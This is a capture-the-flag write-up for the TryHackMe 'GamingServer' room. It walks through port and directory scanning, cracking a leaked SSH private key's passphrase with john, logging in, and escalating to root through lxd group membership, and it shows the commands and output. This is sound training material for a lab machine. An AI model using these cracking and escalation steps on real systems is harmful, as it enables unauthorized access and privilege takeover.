[THM] GamingServer
Tags: Hackathons, Cybersecurity, Tryhackme, Hacking, Ctf Writeup

[THM] GamingServer

Link to the room

[Task 1] Boot2Root

First and as always, a port scan is performed to see the possible “entry doors” to the machine:

$ nmap -sC -sV -T4 -oN nmap.log 10.10.194.232

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:54 CET

Nmap scan report for 10.10.194.232

Host is up (0.080s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)

| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)

|_ 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: House of danak

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 16.31 seconds

I only get a ssh server and an apache web server

I hang around the web page a bit while doing an automatic scan and I find a directory uploads in which there is a wordlist dict.lst .

$ gobuster dir -u http://10.10.194.232 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q

/uploads (Status: 301)

/secret (Status: 301)

gobuster shows me that there is also a directory / secret which contains a private ssh key, this will allow us to connect to the remote machine

the file is given the necessary permissions with chmod 600 secretKey and ssh is launched with the -i option… it asks for a password

the wordlist probably contains the password so I’m going to launch john the reaper

first you have to traduce the private key to something that john can understand

$ /usr/share/john/ssh2john.py secretKey > secretKey.john

$ john --wordlist=/usr/share/wordlists/rockyou.txt secretKey.john

Created directory: /home/fntkg/.john

Using default input encoding: UTF-8

Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])

Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes

Cost 2 (iteration count) is 1 for all loaded hashes

Note: This format may emit false positives, so it will keep trying even after

finding a possible candidate.

Press 'q' or Ctrl-C to abort, almost any other key for status

letmein (secretKey)

1g 0:00:00:07 DONE (2020-11-20 23:03) 0.1349g/s 1935Kp/s 1935Kc/s 1935KC/s *7¡Vamos!

Session completed

after this, I am missing a user to connect to, I can find this in a comment in the source code of the website

<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->

done, I should be able to connect to the remote machine by now

$ ssh -i secretKey john@10.10.194.232

load pubkey "secretKey": invalid format

Enter passphrase for key 'secretKey': letmein

Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-76-generic x86_64)

What is the user flag?

********************************

What is the root flag?

In order to escalate privileges, I used the linpeas tool which indicated that my user john was in the lxd group.

john@exploitable:~$ id

uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.

As the way to exploit this is requires time, I am going to limit myself to sharing here a web page where they explain it very well

https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

Note the command $ sudo / home / hayden / go / bin / distrobuilder build-dir alpine.yaml alpine

Error: Error while downloading source: Bad Alpine release: It will give an error, you have to add the following option: $ sudo / home / hayden / go / bin / distrobuilder build-dir -o image.release=3.8 alpine.yaml alpine

After mounting the container, you just have to go to /mnt/root , here is the file system of the machine